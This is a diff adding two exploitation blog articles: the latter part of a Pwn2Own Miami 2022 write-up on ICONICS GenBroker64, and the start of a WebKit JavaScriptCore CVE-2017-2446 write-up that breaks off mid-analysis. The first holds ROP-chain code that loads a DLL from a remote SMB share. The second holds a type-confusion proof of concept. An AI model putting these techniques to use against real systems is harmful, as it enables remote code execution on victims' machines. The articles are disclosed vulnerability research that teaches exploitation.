+Let's run through what happens when execution is redirected to `0x14005bd25`:
+
+```text
+0:011> u 0x14005bd25 l3
+GenBroker64+0x5bd25:
+00000001`4005bd25 8be1 mov esp,ecx
+00000001`4005bd27 803d5a2a0a0000 cmp byte ptr [GenBroker64+0xfe788 (00000001`400fe788)],0
+00000001`4005bd2e 0f8488010000 je GenBroker64+0x5bebc (00000001`4005bebc)
+
+0:011> db 00000001`400fe788 l1
+00000001`400fe788 00 .
+
+0:011> u 00000001`4005bebc l0n11
+GenBroker64+0x5bebc:
+00000001`4005bebc 4c8d5c2460 lea r11,[rsp+60h]
+00000001'4005bec1 498b5b30 mov rbx,qword ptr [r11+30h]
+00000001'4005bec5 498b6b38 mov rbp,qword ptr [r11+38h]
+00000001'4005bec9 498b7340 mov rsi,qword ptr [r11+40h]
+00000001'4005becd 498be3 mov rsp,r11
+00000001`4005bed0 415f pop r15
+00000001`4005bed2 415e pop r14
+00000001`4005bed4 415d pop r13
+00000001`4005bed6 415c pop r12
+00000001'4005bed8 5f pop rdi
+00000001`4005bed9 c3 ret
+```
+
+This one is interesting. The first instruction effectively pivots the stack to the heap chunk under our control. What is weird about it is that it uses the 32-bit registers `esp` & `ecx` and not `rsp` & `rcx`. If either the stack or our heap buffer addresses were to be allocated inside a region above `0xffff'ffff`, things would go wrong (because of truncation).
+
+```text
+0:011> r @rsp
+rsp=000000001961acd8
+
+0:011> r @rcx
+rcx=000000001970bf00
+```
+
+There's no way both of those addresses are always allocated under `0xffff'ffff` I thought. I must have gotten lucky when I captured the crash-dump. But after running it multiple times it seemed like both the heap and the stack addresses fit into a 32-bit register. This was unexpected, and I don't know why the kernel always seems to lay out those regions in the lower part of the virtual address space. Regardless, I was happy about it 😅
+
+After pivoting the stack, it reads three values into `@rbx`, `@rbp` & `@rsi` at different offsets from `@r11`. `@r11` is pointing to `@rsp+0x60` which is at offset `0x60` from the heap chunk start. This is fine because we have control over `0xc0` bytes which makes the offsets `0x90` / `0x98` / `0xa0` inbound. After that, the stack is pivoted again a little further via the `mov rsp, r11` instruction, which moves it `0x60` bytes forward. From there, five pointers are popped off the stack, giving us control over `@r15` / `@r14` / `@r13` / `@r12` / `@rdi`.
+
+What's next now 🤔? We made a lot of progress but what we've been doing until now is just setting things up to do useful things. The puzzle pieces are yet to be arranged to call `LoadLibraryExW(L"\\\\192.168.0.1\\x\\a.dll\x00", 0, 0)`. The target is a 64-bit process, so we need to load `@rcx` with a pointer to the string. Both `@rdx` & `@r8` need to be set to zero. To call `LoadLibraryExW`, we need to dereference the IAT chunk at `0x1400ae418`, and redirect execution there:
+```text
+0:011> dqs 0x1400ae418 l1
+00000001`400ae418 00007ffd`7028e4f0 kernel32!LoadLibraryWStub
+```
+
+We will put the string in the heap chunk so we just need to find a way to load its address in `@rcx`. `@rcx` points to the start of our heap chunk, so we need to add an offset to it. I did this with an `add ecx, dword [rbp-0x75]` gadget. I load `@rbp` with an address that points to the value I need to align `@ecx` with. Depending on where our heap chunk is allocated, the `add ecx` could trigger similar problems than the stack pivot but testing showed that the address always landed in the lower 4GB of the address space making it safe.
+```python
+# Set @rbp to an address that points to the value 0x30. This is used
+# to adjust the @rcx pointer to the remote dll path from above.
+# 0x1400022dc: pop rbp ; ret ; (717 found)
+pop_rbp_gadget_addr = 0x1400022DC
+# > rp-win-x64.exe --file GenBroker64.exe --search-hexa=\x30\x00\x00\x00
+# 0x1400a2223: 0\x00\x00\x00
+_0x30_ptr_addr = 0x1400A2223
+p += p64(pop_rbp_gadget_addr)
+p += p64(_0x30_ptr_addr + 0x75)
+left -= 8 * 2
+
+# Adjust the @rcx pointer to point to the remote dll path using the
+# 0x30 pointer loaded in @rbp from above.
+# 0x14000e898: add ecx, dword [rbp-0x75] ; ret ; (1 found)
+add_ecx_gadget_addr = 0x14000E898
+p += p64(add_ecx_gadget_addr)
+left -= 8
+```
+
+It is convenient to have the stack pivoted into a heap chunk under our control but it is dangerous to call `LoadLibraryExW` in that state. It will corrupt neighboring chunks, risk accessing unmapped memory, etc. It's bad. Very bad. We don't necessarily need to pivot back the stack where it was before, but we need to pivot it into a reasonably large region of memory in which content stays the same, or at least not often. After several tests, pivoting to `GenClient64`'s data section seemed to work well:
+
+```text
+0:011> !dh -a genclient64
+SECTION HEADER #3
+ .data name
+ 6C80 virtual size
+ 12B000 virtual address
+C0000040 flags
+ Read Write
+```
+
+I reused the `pop rbp` gadget, used a `leave; call qword [@r14+0x08]` gadget to both pivot the stack, and redirect execution to `LoadLibraryExW`. It isn't reflected well in this article but finding this gadget was also annoying. The challenge was to be able to pivot the stack **and** call `LoadLibraryExW` at the same time. I have no control over `GenClient64`'s data section which means I lose control of the execution flow if I only pivot there. On top of that, I was tight on available space.
+
+
+
+Phew, we did it 😮. Putting this ROP chain together was a struggle and was nerve-wracking. But you know, making constant small incremental progress led us to the summit. There were other challenges I ran into that I didn't describe in this article though. One of them was that I first tried to deliver the payload via a WebDav share instead of SMB. I can't remember the reason, but what would happen is that the first time the link was fed to `LoadLibraryExW`, it would fail, but the second time the payload would pop. I spent time reverse-engineering `mrxdav.sys` to understand what was different the first from the second time the load request was sent, but I can't remember why. Yeah, I know, super helpful 😬. Also another essential property of this vulnerability is that losing the race doesn't lead to a crash. This means the exploit can try as many times as we want.
+
+After weeks of grinding against this target after work, I finally had something that could be demonstrated during the contest. What a crazy ride 🎢.
+
+# 🎊 Entering the contest
+
+At this point in the journey, it is probably the end of November / or mid-December 2022. The contest is happening at the end of January, so timeline-wise, it is looking great. There's time to test the exploit, tweak it to maximize the chances of landing successfully, and develop [a payload](https://github.com/0vercl0k/paracosme/blob/main/src/payload/payload.cc) for style points at the contest and have some fun. I am feeling good and was preparing for a vacation trip to France to see my family and take a break.
+
+I'm not sure exactly when this happened, but COVID-19 pushed the competition back to the 19th / 21st of April 2023. This was a bummer as I worked hard to be on time 😩. I was disappointed, but it wasn't the worst thing to happen. I could relax a bit more and hope this extra time wouldn't allow the vendor to find and fix the vulnerability I planned to exploit. This part was a bit nerve-wracking as I didn't know any of the vendors; so I wasn't sure if this was something likely to happen or not.
+
+Testing the exploit wasn't the most fun activity, but I was determined to do all the due diligence from my side as I wanted to maximize my chances to win. I knew the target software would run in a VMWare virtual machine, so I downloaded it, and set one up. It felt silly as I had done my tests in a Hyper-V VM, and I didn't expect that a different hypervisor would change anything. Whatever. I get amazed every day at how complex and tricky to predict computers are, so I knew it might be useful.
+
+The VM was ready, I threw the exploit at it, excited as always, and... nothing. That was unexpected, but it wasn't 100% reliable either, so I ran it more times. But nothing. Wow, what the heck 😬? It felt pretty uncomfortable, and my brain started to run far with impostor syndrome. I asked myself "Did you actually find a real vulnerability?" or "Had you set up the target with a non-default configuration?". Looking back on it, it is pretty funny, but oh boy, I wasn't laughing at the time.
+
+I installed my debugging tools inside the target and threw the exploit on the operating table. I verified that I was triggering the memory corruption, and that my ROP chain was actually getting executed. What a relief. Maybe I do understand computers a little bit, I thought 😳.
+
+Stepping through the ROP chain, it was clear that `LoadLibraryExW` was getting executed, and that it was reaching out to my SMB server. It didn't seem to ask to be served with the DLL I wanted it to load though. Googling the error code around, I realized something that I didn't know, and could be a deal breaker. Windows 10, by default, prevents the default SMB client library from connecting anonymously to SMB share 😮 Basically, the vector that I was using to deliver the final payload was blocked on the latest version of Windows. Wow, I didn't see this coming, and I felt pretty grateful to set up a new environment to run into this case.
+
+What was stressing me out, though, was that I needed to find another way to deliver the payload. I didn't see other quick ways to do that because of ASLR, and the imports of `GenBroker64.exe`. I had potential ideas, but they would have required me to be able to store a much larger ROP chain. But I didn't have that space. What was bizarre, though, was the fact that my other VM was also Windows 10, and it was working fine. It could have been possible that it wasn't quite the latest Windows 10 or that somehow I had turned it back on while installing some tool 🤔.
+
+I eventually landed on this page, I believe: [Guest access in SMB2 and SMB3 disabled by default in Windows](https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default). According to it, Windows 10 Enterprise edition turns it off by default, but Windows 10 Pro edition doesn't. So supposedly everything would be back working if I installed a Windows 10 Pro edition..? I reimaged my VM with a Professional version, and this time, the exploit worked as expected; phew 😅 I dodged a bullet on this one. I really didn't want to throw away all the work I had done with the ROP chain, and I wasn't motivated to find, and assemble new puzzle pieces.
+
+I was finally.... ready. I was extremely nervous but also super excited. I worked hard on that project; it was time to collect some dividends and have fun.
+
+I didn't want to burn too many vacation days, so I caught a red-eye flight from Seattle to Miami International Airport on the first day of the competition.
+
+
+
+I landed at 7AM ish, grabbed a taxi from the airport and headed to my hotel in Miami Beach, close to [The Fillmore Miami Beach](https://www.miamibeachconvention.com/center-info/fillmore) (the venue).
+
+
+
+I watched the draw online and [was scheduled](https://www.thezdi.com/blog/2022/4/14/p2omiami-2022-schedule) to go on the first day of the contest, on April 14th, at 2 p.m. local time. I worked the morning and took my afternoon off to attend the competition.
+
+
+
+I showed up at the conference venue but didn't see any Pwn2Own posters or anything. Security guards were checking the attendees' badges, so I couldn't get in. I looked around the building for another entrance and checked my phone to see if I had missed something, but nothing. I returned to the main entrance to ask the security guards if they knew where Pwn2Own was happening. This was hilarious because they had no clue what this was. I asked "Do you know where the Pwn2Own competition is happening?", the guy answered "Hmm no I never heard about this. Let me ask my colleague" and started talking to his buddy through the earpiece. "Yo mitch, do you know anything about a ... own to pown, or an own to own competition..?". Boy, I was standing there, laughing hard inside 😂. After a few exchanges, they decided to grab somebody from the organization, and that person let me in and made me a badge: Pown 2Own. Epic 👌🏽
+
+
+
+I entered the competition area, a medium-sized room with a few tables, the stage, and people hanging out. It was reasonably dark, and the light gave it a nice hacker ambiance. I hung out in the room, observing what people were up to. Journalists coming in and out, competitors discussing the schedule, etc.
+
+The clock was ticking, and my turn was coming up pretty fast. I was worried that I wouldn't have time to set up and verify the configuration of the official target. I tried to make my presence known to the organizers, but I don't think they noticed. About 15 minutes before my turn, one of the organizers found me, and we went on the stage to set things up. I pulled out my laptop, plugged an ethernet cable that connected me to the target laptop, and configured a static IP. I chose the same IP I used during my testing to ensure I didn't have a larger IP address, which would require a larger string and potentially run out of space on my ROP chain 🫢. I tried pinging the target IP, but it wasn't answering. I began to check if my firewall was on or if I had mistyped something but nothing worked. At this point, we decided to switch the ethernet cable as it was probably the problem. The clock was ticking, and we were about 5 minutes from show time but nothing was working yet.
+
+I was getting nervous as I wanted to verify a few things on the target laptop to ensure it was properly configured. I ran through my checklist while somebody was looking for a new ethernet cable. I checked the remote software version, the target IP, that `GenBroker64.exe` was an x64 binary. One of the organizers handed me a cable, so I hooked it up. The Pwn2Own host started to go live and I could hear him introducing my entry. After a few seconds, he comes over and asks if we're ready.. to which I answer nervously yes, when in fact, I wasn't ready 🤣. I had two minutes left to verify connectivity with the target and make sure the target could browse an SMB share I opened to ensure my payload would deliver just fine. The target could browse my share, and I was finally able to ping the target right on time to go live.
+
+I felt stressed out and had a hard time typing the command line to invoke my exploit. I was worried I would mistype the IP address or something silly like that. I pressed enter to launch it... and immediately saw the calculator popping as well as the background wallpaper changed. I was stunned 😱. I just could not believe that it landed. To this day, I am still shocked that it worked out. I couldn't believe it; I am not even sure I cracked a smile 😅. People clapped, I closed my laptop and stood up, feeling the adrenaline rush through my legs. Powerful.
+
+
+
+I followed one of the event organizers to the disclosure room, where ZDI verified that the vulnerability wasn't known to them. They looked on their laptop for a minute or two and said that they didn't know about it. Awesome. The second stage happens with the vendor. An employee of ICONICS entered the room, and I described to them the vulnerability and the exploit at a high level. They also said they didn't know about this bug, so I had officially won 🔥🙏.
+
+I handshaked the organizers and returned to my hotel with a big ass smile on my face. I actually couldn't stop smiling like a dummy. I dropped my laptop there and decided to take the day after off to reward myself. I returned to the venue and hung out in the room to attend the other entries for the day. This is where I eventually ran into [Steven Seeley](https://twitter.com/steventseeley/) and [Chris Anastasio](https://twitter.com/mufinnnnnnn). Those guys were planning to demonstrate **5 different exploits** which seemed insane to me 😳. It put things into perspective and made me feel like I had a lot to learn which was exciting. On top of killing it at the competition, they were also extremely friendly and let me know that they were setting up a dinner with other participants. I was definitely game to join them and meet up with folks.
+
+We met at a restaurant in Miami Beach and I met the [Flashback team](https://twitter.com/FlashbackPwn/) ([Pedro](https://twitter.com/pedrib1337) & [Radek](https://twitter.com/RabbitPro)), [Sharon](https://sharonbrizinov.com/) & [Uri](https://www.linkedin.com/in/uri-katz-73495b14a) from the [Claroty Research team](https://twitter.com/Claroty/), and [Daan](https://twitter.com/daankeuper) & [Thijs](https://twitter.com/xnyhps) from [Computest Sector7](https://sector7.computest.nl/). Honestly, it felt amazing to meet fellow researchers and learn from them. It was super interesting to hear people's backgrounds, how they approached the competition, and how they looked for bugs.
+
+
+
+I spent the next two days hanging out, cheering for the competitors in the Pwn2Own room, grabbing celebratory drinks, and having a good time. Oh and of course, I grabbed oversized Pwn2Own Miami swag shirts 😅 [Steven](https://twitter.com/steventseeley/) & [Chris](https://twitter.com/mufinnnnnnn) owned so many targets with a first-blood that they won many laptops. Out of kindness, they offered me one as a present, which I was super grateful for and has been a great memento memory for me; so a big thank you to them.
+
+
+
+I packed my bag, grabbed a taxi, headed to the airport, and flew back home with lifelong memories 🙏
+
+# ✅ Wrapping up
+
+In this post I tried to walk you through the ups and downs of vulnerability research 🎢 I want to thank the ZDI folks for both organizing such a fun competition and rooting for participants 🙏. Also, special thanks to all the contestants for being inspiring, and their kindness 🙏.
+
+I think there are some good lessons that I learned that might be useful for some of you out there:
+
+1. Don't under-estimate what tooling can do when aimed at the right things. I initially didn't want to use fuzzing as I was interested in code-review only. In the end, my quick fuzzing campaign highlighted something that I missed and that area ended up being juicy.
+1. Focus on understanding the target. In the end, it facilitates both bug finding **and** exploitation.
+1. Try to focus on solving problems one by one. Trying to visualize all the steps you have to go through to make something work can feel overwhelming. Ironically, for me it usually leads to analysis paralysis which completely halts progress.
+1. Somehow attack surface enumeration isn't super fun to me. I always regret not spending enough time doing it.
+1. Testing isn't fun but it is worth being thorough when the stakes are high. It would have been heartbreaking for my entry to fail for an issue that I could have caught by doing proper testing.
+
+If you want to take a look, the code of my exploit is available on Github: [Paracosme](https://github.com/0vercl0k/paracosme). If you are interested in reading other write-ups from Pwn2Own Miami 2022, here is a list:
+
+- [Pwn2Own Miami 2022: Unified Automation C++ Demo Server DoS](https://sector7.computest.nl/post/2022-09-unified-automation-opcua-cpp/)
+- [Pwn2Own Miami 2022: OPC UA .NET Standard Trusted Application Check Bypass](https://sector7.computest.nl/post/2022-07-opc-ua-net-standard-trusted-application-check-bypass/)
+- [Pwn2Own Miami 2022: Inductive Automation Ignition Remote Code Execution](https://sector7.computest.nl/post/2022-07-inductive-automation-ignition-rce/)
+- [Pwn2Own Miami 2022: AVEVA Edge Arbitrary Code Execution](https://sector7.computest.nl/post/2022-09-aveva-edge/)
+- [Pwn2Own Miami 2022: ICONICS GENESIS64 Arbitrary Code Execution](https://sector7.computest.nl/post/2022-10-iconics-genesis64/)
+- [Two lines of Jscript for $20,000](https://trenchant.io/two-lines-of-jscript-for-20000-pwn2own-miami-2022/)
+
+Special thank you to my boiz [yrp604](https://twitter.com/yrp604) and [__x86](https://twitter.com/__x86) for proofreading this article 🙏.
+
+Last but not least, come hangout on [Diary of reverse-engineering's Discord server](https://discord.gg//4JBWKDNyYs) with us 👌🏽!
diff --git a/content/articles/exploitation/cve-2017-2446_or_jsc_jsglobalobject_ishavingabadtimethis__optimized_out_.markdown b/content/articles/exploitation/cve-2017-2446_or_jsc_jsglobalobject_ishavingabadtimethis__optimized_out_.markdown
new file mode 100644
index 0000000..47db162
--- /dev/null
+++ b/content/articles/exploitation/cve-2017-2446_or_jsc_jsglobalobject_ishavingabadtimethis__optimized_out_.markdown
@@ -0,0 +1,887 @@
+Title: CVE-2017-2446 or JSC::JSGlobalObject::isHavingABadTime.
+Date: 2018-07-14 18:49
+Tags: JavascriptCore, jsc, cve-2017-2446, exploitation
+Authors: yrp
+
+# Introduction
+
+This post will cover the development of an exploit for JavaScriptCore (JSC) from the perspective of someone with no background in browser exploitation.
+
+Around the start of the year, I was pretty burnt out on CTF problems and was interested in writing an exploit for something more complicated and practical. I settled on writing a WebKit exploit for a few reasons:
+
+* It is code that is broadly used in the real world
+* Browsers seemed like a cool target in an area I had little familiarity (both C++ and interpreter exploitation.)
+* WebKit is (supposedly) the softest of the major browser targets.
+* There were good existing resources on WebKit exploitation, namely [saelo’s Phrack article](http://phrack.org/papers/attacking_javascript_engines.html), as well as a variety of public console exploits.
+
+With this in mind, I got a recommendation for an interesting looking bug that has not previously been publicly exploited: [@natashenka](https://twitter.com/natashenka)’s CVE-2017-2446 from the [project zero bugtracker](https://bugs.chromium.org/p/project-zero/issues/detail?id=1032). The bug report had a PoC which crashed in `memcpy()` with some partially controlled registers, which is always a promising start.
+
+This post assumes you’ve read saelo’s Phrack article linked above, particularly the portions on NaN boxing and butterflies -- I can’t do a better job of explaining these concepts than the article. Additionally, you should be able to run a browser/JavaScript engine in a debugger -- we will target Linux for this post, but the concepts should translate to your preferred platform/debugger.
+
+Finally, the goal of doing this initially and now writing it up was and is to learn as much as possible. There is clearly a lot more for me to learn in this area, so if you read something that is incorrect, inefficient, unstable, a bad idea, or just have some thoughts to share, I’d love to hear from you.
+
+
+
+[TOC]
+
+## Target Setup and Tooling
+
+First, we need a vulnerable version of WebKit. [`e72e58665d57523f6792ad3479613935ecf9a5e0`](https://github.com/WebKit/webkit/tree/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore) is the hash of the last vulnerable version (the fix is in [`f7303f96833aa65a9eec5643dba39cede8d01144`](https://github.com/WebKit/webkit/commit/f7303f96833aa65a9eec5643dba39cede8d01144)) so we check out and build off this.
+
+To stay in more familiar territory, I decided to only target the `jsc` binary, not WebKit browser as a whole. `jsc` is a thin command line wrapper around `libJavaScriptCore`, the library WebKit uses for its JavaScript engine. This means any exploit for `jsc`, with some modification, should also work in WebKit. I’m not sure if this was a good idea in retrospect -- it had the benefit of resulting in a stable heap as well as reducing the amount of code I had to read and understand, but had fewer codepaths and objects available for the exploit.
+
+I decided to target WebKit on Linux instead of macOS mainly due to debugger familiarity (gdb + [gef](https://github.com/hugsy/gef)). For code browsing, I ended up using `vim` and `rtags`, which was… okay. If you have suggestions for C++ code auditing, I’d like to hear them.
+
+### Target modifications
+
+I found that I frequently wanted to breakpoint in my scripts to examine the interpreter state. After screwing around with this for a while I eventually just added a `dbg()` function to `jsc`. This would allow me to write code like:
+```js
+dbg(); // examine the memory layout
+foo(); // do something
+dbg(); //see how things have changed
+```
+
+The patch to add `dbg()` to `jsc` is pretty straightforward.
+
+```diff
+diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
+index bda9a09d0d2..d359518b9b6 100644
+--- a/Source/JavaScriptCore/jsc.cpp
++++ b/Source/JavaScriptCore/jsc.cpp
+@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
++static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
+ static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
+@@ -1218,6 +1219,7 @@ protected:
+
+ addFunction(vm, "debug", functionDebug, 1);
+ addFunction(vm, "describe", functionDescribe, 1);
++ addFunction(vm, "dbg", functionDbg, 0);
+ addFunction(vm, "describeArray", functionDescribeArray, 1);
+ addFunction(vm, "print", functionPrintStdOut, 1);
+ addFunction(vm, "printErr", functionPrintStdErr, 1);
+@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
+ return JSValue::encode(jsUndefined());
+ }
+
++EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
++{
++ asm("int3;");
++
++ return JSValue::encode(jsUndefined());
++}
++
+ EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
+ {
+ if (exec->argumentCount() < 1)
+```
+
+### Other useful `jsc` features
+
+Two helpful functions added to the interpreter by `jsc` are `describe()` and `describeArray()`. As these functions would not be present in an actual target interpreter, they are not fair game for use in an exploit, however are very useful when debugging:
+
+```text
+>>> a = [0x41, 0x42];
+65,66
+>>> describe(a);
+Object: 0x7fc5663b01f0 with butterfly 0x7fc5663caec8 (0x7fc5663eac20:[Array, {}, ArrayWithInt32, Proto:0x7fc5663e4140, Leaf]), ID: 88
+>>> describeArray(a);
+
+```
+
+### Symbols
+
+Release builds of WebKit don’t have asserts enabled, but they also don’t have symbols. Since we want symbols, we will build with `CFLAGS=-g CXXFLAGS=-g Scripts/Tools/build-webkit --jsc-only`
+
+The symbol information can take quite some time to parse by the debugger. We can reduce the load time of the debugger significantly by running `gdb-add-index` on both `jsc` and `libJavaScriptCore.so`.
+
+### Dumping Object Layouts
+
+WebKit ships with a script for macOS to dump the object layout of various classes, for example, here is `JSC::JSString`:
+
+```text
+x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSString
+Found 1 types matching "JSString" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+ +0 { 24} JSString
+ +0 { 8} JSC::JSCell
+ +0 { 1} JSC::HeapCell
+ +0 < 4> JSC::StructureID m_structureID;
+ +4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+ +5 < 1> JSC::JSType m_type;
+ +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+ +7 < 1> JSC::CellState m_cellState;
+ +8 < 4> unsigned int m_flags;
+ +12 < 4> unsigned int m_length;
+ +16 < 8> WTF::String m_value;
+ +16 < 8> WTF::RefPtr m_impl;
+ +16 < 8> WTF::StringImpl * m_ptr;
+Total byte size: 24
+Total pad bytes: 0
+```
+
+This script required minor modifications to run on linux, but it was quite useful later on.
+
+## Bug
+
+With our target built and tooling set up, let’s dig into the bug a bit. JavaScript (apparently) has a feature to get the caller of a function:
+
+```js
+var q;
+
+function f() {
+ q = f.caller;
+}
+
+function g() {
+ f();
+}
+
+g(); // ‘q’ is now equal to ‘g’
+```
+
+This behavior is disabled under certain conditions, notably if the JavaScript code is running in strict mode. The specific bug here is that if you called from a strict function to a non-strict function, JSC would allow you to get a reference to the strict function. From the PoC provided you can see how this is a problem:
+
+```js
+var q;
+// this is a non-strict chunk of code, so getting the caller is allowed
+function g(){
+ q = g.caller;
+ return 7;
+}
+
+var a = [1, 2, 3];
+a.length = 4;
+// when anything, including the runtime, accesses a[3], g will be called
+Object.defineProperty(Array.prototype, "3", {get : g});
+// trigger the runtime access of a[3]
+[4, 5, 6].concat(a);
+// q now is a reference to an internal runtime function
+q(0x77777777, 0x77777777, 0); // crash
+```
+
+In this case, the `concat` code is in [`Source/JavaScriptCore/builtins/ArrayPrototype.js`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore/builtins/ArrayPrototype.js#L713) and is marked as ‘use strict’.
+
+This behavior is not always exploitable: we need a JS runtime function ‘a’ which performs sanitization on arguments, then calls another runtime function ‘b’ which can be coerced into executing user supplied JavaScript to get a function reference to ‘b’. This will allow you to do `b(0x41, 0x42)`, skipping the sanitization on your inputs which ‘a’ would normally perform.
+
+The JSC runtime is a combination of JavaScript and C++ which kind of looks like this:
+
+```text
++-------------+
+| User Code | <- user-provided code
++-------------+
+| JS Runtime | <- JS that ships with the browser as part of the runtime
++-------------+
+| Cpp Runtime | <- C++ that implements the rest of the runtime
++-------------+
+```
+
+The `Array.concat` above is a good example of this pattern: when `concat()` is called it first goes into `ArrayPrototype.js` to perform sanitization on the argument, then calls into one of the concat implementations. The fastpath implementations are generally written in C++, while the slowpaths are either pure JS, or a different C++ implementation.
+
+What makes this bug useful is the reference to the function we get (‘q’ in the above snippet) is _after_ the input sanitization performed by the JavaScript layer, meaning we have a direct reference to the native function.
+
+The provided PoC is an especially powerful example of this, however there are others -- some useful, some worthless. In terms of a general plan, we’ll need to use this bug to create an infoleak to defeat ASLR, then figure out a way to use it to hijack control flow and get a shell out of it.
+
+## Infoleak
+
+Defeating ASLR is the first order of business. To do this, we need to understand the reference we have in the `concat` code.
+
+### `concat` in more detail
+
+Tracing the codepath from our `concat` call, we start in [`Source/JavaScriptCore/builtins/ArrayPrototype.js`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore/builtins/ArrayPrototype.js#L713):
+
+```js
+function concat(first)
+{
+ "use strict";
+
+ // [1] perform some input validation
+ if (@argumentCount() === 1
+ && @isJSArray(this)
+ && this.@isConcatSpreadableSymbol === @undefined
+ && (!@isObject(first) || first.@isConcatSpreadableSymbol === @undefined)) {
+
+ let result = @concatMemcpy(this, first); // [2] call the fastpath
+ if (result !== null)
+ return result;
+ }
+
+ // … snip ...
+```
+
+In this code snippet the `@` is the interpreter glue which tells the JavaScript engine to look in the C++ bindings for the specified symbol. These functions are only callable via the JavaScript runtime which ships with Webkit, not user code. If you follow this through some indirection, you will find `@concatMemcpy` corresponds to `arrayProtoPrivateFuncAppendMemcpy` in [`Source/JavaScriptCore/runtime/ArrayPrototype.cpp`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore/runtime/ArrayPrototype.cpp#L1309):
+
+```cpp
+EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncAppendMemcpy(ExecState* exec)
+{
+ ASSERT(exec->argumentCount() == 3);
+
+ VM& vm = exec->vm();
+ JSArray* resultArray = jsCast(exec->uncheckedArgument(0));
+ JSArray* otherArray = jsCast(exec->uncheckedArgument(1));
+ JSValue startValue = exec->uncheckedArgument(2);
+ ASSERT(startValue.isAnyInt() && startValue.asAnyInt() >= 0 && startValue.asAnyInt() <= std::numeric_limits::max());
+ unsigned startIndex = static_cast(startValue.asAnyInt());
+ if (!resultArray->appendMemcpy(exec, vm, startIndex, otherArray)) // [3] fastpath...
+ // … snip ...
+}
+```
+
+Which finally calls into `appendMemcpy` in [`JSArray.cpp`](https://github.com/WebKit/webkit/blob/e72e58665d57523f6792ad3479613935ecf9a5e0/Source/JavaScriptCore/runtime/JSArray.cpp#L474):
+
+```cpp
+bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
+{
+ // … snip ...
+
+ unsigned otherLength = otherArray->length();
+ unsigned newLength = startIndex + otherLength;
+ if (newLength >= MIN_SPARSE_ARRAY_INDEX)
+ return false;
+
+ if (!ensureLength(vm, newLength)) { // [4] check dst size
+ throwOutOfMemoryError(exec, scope);
+ return false;
+ }
+ ASSERT(copyType == indexingType());
+
+ if (type == ArrayWithDouble)
+ memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
+ else
+ memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); // [5] do the concat
+
+ return true;
+}
+```
+
+This may seem like a lot of code, but given `Array`s `src` and `dst`, it boils down to this:
+```python
+# JS Array.concat
+def concat(dst, src):
+ if typeof(dst) == Array and typeof(src) == Array: concatFastPath(dst, src)
+ else: concatSlowPath(dst, src)
+
+# C++ concatMemcpy / arrayProtoPrivateFuncAppendMemcpy
+def concatFastPath(dst, src):
+ appendMemcpy(dst, src)
+
+# C++ appendMemcpy
+def appendMemcpy(dst, src):
+ if allocated_size(dst) < sizeof(dst) + sizeof(src):
+ resize(dst)
+
+ memcpy(dst + sizeof(dst), src, sizeof(src));
+```
+
+However, thanks to our bug we can skip the type validation at `[1]` and call `arrayProtoPrivateFuncAppendMemcpy` directly with non-`Array` arguments! This turns the logic bug into a type confusion and opens up some exploitation possibilities.
+
+### JSObject layouts
+
+To understand the bug a bit better, let’s look at the layout of `JSArray`:
+
+```text
+x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSArray
+Found 1 types matching "JSArray" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
+ +0 { 16} JSArray
+ +0 { 16} JSC::JSNonFinalObject
+ +0 { 16} JSC::JSObject
+ +0 { 8} JSC::JSCell
+ +0 { 1} JSC::HeapCell
+ +0 < 4> JSC::StructureID m_structureID;
+ +4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
+ +5 < 1> JSC::JSType m_type;
+ +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+ +7 < 1> JSC::CellState m_cellState;
+ +8 < 8> JSC::AuxiliaryBarrier m_butterfly;
+ +8 < 8> JSC::Butterfly * m_value;
+Total byte size: 16
+Total pad bytes: 0
+```
+
+The `memcpy` we’re triggering uses `butterfly()->contiguous().data() + startIndex` as a dst, and while this may initially look complicated, most of this compiles away. `butterfly()` is a butterfly, as detailed in [saelo’s Phrack article](http://phrack.org/papers/attacking_javascript_engines.html). This means the `contiguous().data()` portion effectively disappears. `startIndex` is fully controlled as well, so we can make this `0`. As a result, our `memcpy` reduces to: `memcpy(qword ptr [obj + 8], qword ptr [src + 8], sizeof(src))`. To exploit this we simply need an object which has a non-butterfly pointer at offset `+8`.
+
+This turns out to not be simple. Most objects I could find inherited from `JSObject`, meaning they inherited the butterfly pointer field at `+8`. In some cases (e.g. `ArrayBuffer`) this value was simply `NULL`’d, while in others I wound up type confusing a butterfly with another butterfly, to no effect. `JSString`s were particularly frustrating, as the relevant portions of their layout were:
+
+```text
++8 flags : u32
++12 length : u32
